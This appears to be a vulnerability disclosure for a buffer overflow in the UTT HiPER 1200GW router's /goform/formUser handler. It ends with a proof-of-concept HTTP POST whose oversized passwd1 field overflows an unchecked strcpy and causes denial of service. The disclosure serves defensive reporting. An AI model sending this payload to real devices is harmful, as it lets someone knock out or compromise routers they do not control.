# Information

**Vendor of the products:** UTT

**Vendor's website:** [UTT艾泰-专业路由器、交换机、防火墙品牌](https://utt.com.cn/)

**Affected products:** HiPER 1200GW

**Affected firmware version:** <=v2.5.3-170306

**Firmware download address:** [UTT艾泰-专业路由器、交换机、防火墙品牌]([UTT艾泰-专业路由器、交换机、防火墙品牌](https://utt.com.cn/downloadcenter.php))

# Overview

A serious buffer overflow vulnerability was found on the UTT router Aggressive  HiPER 1200GW router, where an attacker could trigger the vulnerability by routing /goform/formUser, causing buffer overflow attacks and denial of service attacks, etc., specifically through "strcpy((char *)(InstPointByName + 20), Var);" to be realized

# Vulnerability details

The API for invoking the function

![image-20260402164147911](./image-20260402164147911.png)

Here the values of usernameold and username are taken, and judgments are made, and if they are both admin, enter the setSysAdm function

![image-20260402164232360](./image-20260402164232360.png)

You can see that passwd1 is valued here and assigned by strcpy, and no boundary check is performed resulting in overflow

![image-20260402164304924](./image-20260402164304924.png)

# POC

```
POST /goform/formUser HTTP/1.1
Host: 192.168.1.1
Content-Length: 1822
Cache-Control: max-age=0
Authorization: Digest username="admin", realm="UTT", nonce="80758026511f147977ce8ea9363e038c", uri="/goform/formArpBindGlobalConfig", algorithm=MD5, response="3c90b3b4d198905f88cf1301ff8ad6b5", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=000001a1, cnonce="71e33390dc75c484"
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.1/IPMac.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: language=zhcn; utt_bw_rdevType=; td_cookie=2522114788
Connection: close

usernameold=admin&username=admin&passwd1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

![image-20251118224225970](./image-20251118224225970.png)